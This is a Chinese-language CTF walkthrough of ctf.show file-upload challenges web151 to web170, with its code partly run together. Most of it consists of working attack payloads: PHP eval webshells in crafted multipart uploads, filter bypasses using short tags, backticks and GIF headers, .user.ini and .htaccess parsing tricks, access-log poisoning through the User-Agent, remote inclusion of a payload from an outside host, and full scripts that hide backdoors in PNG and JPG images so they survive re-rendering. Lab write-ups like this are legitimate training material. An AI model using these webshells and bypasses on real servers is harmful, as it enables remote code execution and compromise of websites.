文件上传 web15~170
web151
提示:前台校验不可靠
- 直接上传
1.php
提示图片不符合,并且页面无刷新,再根据提示,应该是js验证的,在F12发现了上传验证layui.use('upload', function(){ var upload = layui.upload; //执行实例 var uploadInst = upload.render({ elem: '#upload' //绑定元素 ,url: '/upload/' //上传接口 ,done: function(res){ if(res.code==0){ $("#result").html("文件上传成功,路径:"+res.msg); }else{ $("#result").html("文件上传失败,失败原因:"+res.msg); } } ,error: function(){ $("#result").html("文件上传失败"); } });});
- 上传一张图片抓包,然后修改信息,修改
filename
为1.php
,内容为一句马POST /upload.php HTTP/1.1.....-----------------------------270096245816276080941607688265Content-Disposition: form-data; name="file"; filename="shell.php"Content-Type: image/png<?php eval($_POST[1]); ?>-----------------------------270096245816276080941607688265--
- 在根据回显路径访问后门,后面常规操作
web152
提示:后端校验要严密
- 上传正常图片然后抓包然后修改
-----------------------------9874466933019553249480037215Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/png<?php eval($_POST[1]); ?>-----------------------------9874466933019553249480037215--
上传成功,这题应该是要修改MIME的,不过因为我们是修改正常图片的包所以MINE不用改
web153
提示:后端校验要严密
- 上传正常图片然后抓包然后修改
-----------------------------8190292523814729420460717781Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/png<?php eval($_POST[1]); ?>-----------------------------8190292523814729420460717781--
提示文件类型不合规,可能是检测后缀名了,但是php的后缀名有很多**.phtml .phps .php5 .pht
**不过尝试了这几种后缀名也不行 - 尝试使用user.ini(该方法必须上传目录存在.php文件)上传图片马
shell.php``````-----------------------------3853501443680031518359320506Content-Disposition: form-data; name="file"; filename="shell.png"Content-Type: image/png<?php eval($_POST[1]); ?>-----------------------------3853501443680031518359320506--
上传.user.ini,auto_prepend_file
= <刚刚上传的图片马>-----------------------------3853501443680031518359320506Content-Disposition: form-data; name="file"; filename=".user.ini"Content-Type: image/pngauto_prepend_file=shell.png-----------------------------3853501443680031518359320506--
- 访问
/upload/index.php
,此时因为.user.ini
的设置index.php
包含了shell.png
,操作一句马即可
web154
提示:后端校验要严密
- 尝试上传图片马,上传失败,提示文件内容不合规,经检查是过滤了
php
,使用短标签-----------------------------408186127524735908351363813842Content-Disposition: form-data; name="file"; filename="payload.png"Content-Type: image/png<?=eval($_POST[1]);?>-----------------------------408186127524735908351363813842--
- 再上传
.user.ini
包含payload.png
,然后访问upload/index/php
进行操作
web155
提示:后端校验要严密
- 尝试上传图片马,上传成功
-----------------------------166267126630299567892000136666Content-Disposition: form-data; name="file"; filename="payload.png"Content-Type: image/png<?=eval($_POST[1]);?>-----------------------------166267126630299567892000136666--
- 剩下的和上一题一模一样
web156
提示:后端校验要严密
- 尝试上传图片马,提示:文件类型不合规,经检查过滤了
[]
修改为{}
即可Content-Disposition: form-data; name="file"; filename="payload.png"Content-Type: image/png<?=eval($_POST{1});?>
- 剩下的和上一题一模一样
web157
提示:后端校验要严密
- 尝试上传图片马,提示:文件类型不合规,
{}
和;
也被过滤了,其实可以直接读取文件的,分号直接去掉就行的,因为?>
会作为文件的结束Content-Disposition: form-data; name="file"; filename="payload.png"Content-Type: image/png<?=eval(system('tac ../fla*'))?>
- 然后上传.user.ini文件,上传直接访问
upload/index.php
直接读取文件回显
web158
提示:后端校验要严密
- 尝试上传图片马,上传成功
Content-Disposition: form-data; name="file"; filename="payload.png"Content-Type: image/png<?=eval(system('tac ../fla*'))?>
- 剩下的和上一题一模一样
web159
提示:后端校验要严密
- 尝试上传图片马,提示:文件类型不合规,检查后发现括号被过滤了,使用反引号
也是用于命令执行
Content-Disposition: form-data; name="file"; filename="payload.png"Content-Type: image/png<?=`tac ../fla*`?>``` - 剩下的和上一题一模一样
web160
提示:后端校验要严密
- 尝试上传图片马,提示:文件类型不合规,比之前多过滤了空格和
可以配合日志文件来操作
payload.pngContent-Disposition: form-data; name="file"; filename="payload.png"Content-Type: image/png<?=include"/var/lo"."g/nginx/access.l"."og"?> //文件包含日志文件
.user.ini,记得修改UA头
POST /upload.php HTTP/1.1Host: xxx.challenge.ctf.showUser-Agent: Mozilla/5.0 (Wind<?php eval($_POST[1]); ?>ows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0.....-----------------------------24943745528283497061656564654Content-Disposition: form-data; name="file"; filename=".user.ini"Content-Type: image/pngauto_prepend_file=payload.png-----------------------------24943745528283497061656564654--``` - 访问
upload/index.php
出现日志内容表示包含成功,POST密码1,获取flag.php文件内容即可
web161
提示:后端校验要严密
- 尝试上传正常照片抓包,报错了,文件类型不合规,应该是文件头的缘故
GIF89a
是常见gif
文件头,我们只要在内容里面添加即可 - 首先上传
.user.ini``````Content-Disposition: form-data; name="file"; filename=".user.ini"Content-Type: image/pngGIF89aauto_prepend_file=payload.png
再上传payload.png
,别忘记修改UA``````User-Agent: Mozilla/5.0 (Windo<?php eval($_POST[1]);?>ws NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Content-Disposition: form-data; name="file"; filename="payload.png"Content-Type: image/pngGIF89a<?=include"/var/lo"."g/nginx/access.l"."og"?>
- 访问
upload/index.php
出现日志内容表示包含成功,POST密码1,获取flag.php文件内容即可
web162
提示:后端校验要严密
- 上传
.user.ini
, 报错:文件类型不合规,发现是.
被过滤了,上传不带后缀名的即可Content-Disposition: form-data; name="file"; filename=".user.ini"Content-Type: image/pngGIF89aauto_prepend_file=payload
- 可以直接
.user.ini
包含远程代码,前提是服务器允许远程包含Content-Disposition: form-data; name="file"; filename=".user.ini"Content-Type: image/pngGIF89aauto_prepend_file=http://xxxxxxxx/payload
web163
提示:后端校验要严密
- 上传
.user.ini
, 上传不带后缀名的Content-Disposition: form-data; name="file"; filename=".user.ini"Content-Type: image/pngGIF89aauto_prepend_file=payload
- 可以直接
.user.ini
包含远程代码Content-Disposition: form-data; name="file"; filename=".user.ini"Content-Type: image/pngGIF89aauto_prepend_file=http://xxxxxxxx/payload
web164
提示:后端校验要严密
- 发现上传不了
.user.ini
文件了,我们上传张图片试试上传成功后点击查看图片,发现链接地址是download.php?image=96c27bb6f75a00d0774060746f3adf73.png
看着有文件包含漏洞,并且图片被二次渲染了 - 思路:只要上传的png图片二次渲染后还保留着后门代码即可形成文件包含
- 使用脚本生成即可,也可以自己制作
# 脚本<?php$p=array(0xa3,0x9f,0x67,0xf7,0x0e,0x93,0x1b,0x23,0xbe,0x2c,0x8a,0xd0,0x80,0xf9,0xe1,0xae,0x22,0xf6,0xd9,0x43,0x5d,0xfb,0xae,0xcc,0x5a,0x01,0xdc,0x5a,0x01,0xdc,0xa3,0x9f,0x67,0xa5,0xbe,0x5f,0x76,0x74,0x5a,0x4c,0xa1,0x3f,0x7a,0xbf,0x30,0x6b,0x88,0x2d,0x60,0x65,0x7d,0x52,0x9d,0xad,0x88,0xa1,0x66,0x44,0x50,0x33);$img=imagecreatetruecolor(32,32);for($y=0;$y<sizeof($p);$y+=3){$r=$p[$y];$g=$p[$y+1];$b=$p[$y+2];$color=imagecolorallocate($img,$r,$g,$b);imagesetpixel($img,round($y/3),0,$color);}imagepng($img,'./1.png');?>
使用脚本会在当前目录生成一个带有<?=$_GET[0]($_POST[1]);?>
后门代码的1.png - 如何把图片传上去,点击查看图片
// GET/download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system// POST1=ls
然后抓包查看,因为页面上是图片显示不了,得抓包看
web165
看着像是上一题,但是上传类型改为了
jpg
- 制作
jpg
马,与图片选取关系很大,很容易就制作失败# 脚本<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */$miniPayload="<?=phpinfo();?>";if(!extension_loaded('gd')||!function_exists('imagecreatefromjpeg')){die('php-gd is not installed');}if(!isset($argv[1])){die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad=0;$pad<1024;$pad++){$nullbytePayloadSize=$pad;$dis=newDataInputStream($argv[1]);$outStream=file_get_contents($argv[1]);$extraBytes=0;$correctImage=TRUE;if($dis->readShort()!=0xFFD8){die('Incorrect SOI marker');}while((!$dis->eof())&&($dis->readByte()==0xFF)){$marker=$dis->readByte();$size=$dis->readShort()-2;$dis->skip($size);if($marker===0xDA){$startPos=$dis->seek();$outStreamTmp=substr($outStream,0,$startPos).$miniPayload.str_repeat("\0",$nullbytePayloadSize).substr($outStream,$startPos);checkImage('_'.$argv[1],$outStreamTmp,TRUE);if($extraBytes!==0){while((!$dis->eof())){if($dis->readByte()===0xFF){if($dis->readByte!==0x00){break;}}}$stopPos=$dis->seek()-2;$imageStreamSize=$stopPos-$startPos;$outStream=substr($outStream,0,$startPos).$miniPayload.substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream,$startPos,$imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes).substr($outStream,$stopPos);}elseif($correctImage){$outStream=$outStreamTmp;}else{break;}if(checkImage('payload_'.$argv[1],$outStream)){die('Success!');}else{break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');functioncheckImage($filename,$data,$unlink=FALSE){global$correctImage;file_put_contents($filename,$data);$correctImage=TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return$correctImage;}functioncustom_error_handler($errno,$errstr,$errfile,$errline){global$extraBytes,$correctImage;$correctImage=FALSE;if(preg_match('/(\d+) extraneous bytes before marker/',$errstr,$m)){if(isset($m[1])){$extraBytes=(int)$m[1];}}}classDataInputStream{private$binData;private$order;private$size;publicfunction__construct($filename,$order=false,$fromString=false){$this->binData='';$this->order=$order;if(!$fromString){if(!file_exists($filename)||!is_file($filename))die('File not exists ['.$filename.']');$this->binData=file_get_contents($filename);}else{$this->binData=$filename;}$this->size=strlen($this->binData);}publicfunctionseek(){return($this->size-strlen($this->binData));}publicfunctionskip($skip){$this->binData=substr($this->binData,$skip);}publicfunctionreadByte(){if($this->eof()){die('End Of File');}$byte=substr($this->binData,0,1);$this->binData=substr($this->binData,1);returnord($byte);}publicfunctionreadShort(){if(strlen($this->binData)<2){die('End Of File');}$short=substr($this->binData,0,2);$this->binData=substr($this->binData,2);if($this->order){$short=(ord($short[1])<<8)+ord($short[0]);}else{$short=(ord($short[0])<<8)+ord($short[1]);}return$short;}publicfunctioneof(){return!$this->binData||(strlen($this->binData)===0);}}?>
我没成功,找不到合适的jpg
web166
提示:后端校验要严密
- 发现页面的按钮不是上传图片了,而是上传文件,打开f12查看发现限制上传的是zip文件,并且可以下载,返回的是压缩包的内容,所以可能存在文件包含
- 创建一个正常的压缩包文件,然后在尾部加上webshell例如
<?php eval($_POST[1]); ?>
- 上传成功后点击下载文件抓包,把get请求改为post,
POST/upload/download.php?file=20008e8d8f575249a4941a8ccd76430a.zip HTTP/1.1.......1=phpinfo();
回显成功,之后正常操作就行
web167
提示:
httpd
- 一般httpd指的是apache,apache也有解析漏洞, 上传覆盖
.htaccess文件
,重写解析规则
首先上传.htaccess
文件,把jpg文件当作php文件解析上传一张正常jpg照片,抓包修改内容即可Content-Disposition: form-data; name="file"; filename=".htaccess"Content-Type: image/jpeg<IfModule mime_module> AddHandler php5-script .jpg SetHandler application/x-httpd-php </IfModule>
- 上传
.htaccess
成功后我们再上传带有后门代码的jpg图片Content-Disposition: form-data; name="file"; filename="1.jpg"Content-Type: image/jpeg<?php eval($_POST[1]);?>
- 访问
/upload/1.jpg
,post传输1=phpinfo();
回显成功,直接读取flag文件即可
web168
提示:基础免杀
- 上传正常的png文件回显成功,但是上传带有后门代码的png文件就回显
null
- 尝试修改短标签竟然上传成功
- 然后上传
.htaccess
文件,解析png为php文件,但是上传之后没效果 - 然后尝试将第二步的shell2.png后缀名改为php,发现上传成功了
- 然后访问
/upload/shell2.php
发现回显成功,接着修改段标签的内容找到flag即可
web169
提示:高级免杀
- 上传正常的zip压缩包发现上传不上去,经检测需要将
MIME
改为image/png
以及GIF89a
文件头**Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/pngGIF89a**
- 尝试插入短标签之类的
Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/pngGIF89a<?=`ls`?>
返回NULL
,发现<>?
被过滤了 - 考虑包含日志文件,
.user.ini
可以上传,直接把日志文件当作php解析,顺便在UA头部添加payload//.user.iniUser-Agent: Mozilla/5.0(Windows NT10.0; Win64; x64; rv:130.0) Gecko/2<?=eval($_POST[1]);?>0100101 Firefox/130.0Content-Disposition: form-data; name="file"; filename=".user.ini"Content-Type: image/pngGIF89aauto_prepend_file=/var/log/nginx/access.log
- 但是
.user.ini
起作用的前提是同目录需存在php文件,我们直接访问/upload/
时发现403,没有index.php
文件,所以我们再上传一个index.php
文件Content-Disposition: form-data; name="file"; filename="index.php"Content-Type: image/pngGIF89a
- 访问
/upload/
日志文件回显,成功包含,密码1,phpinfo();
回显成功,读取flag文件即可
web170
提示:终极免杀
- 尝试上一题的做法,成功获取flag
版权归原作者 Sunset-_ 所有, 如有侵权,请联系我们删除。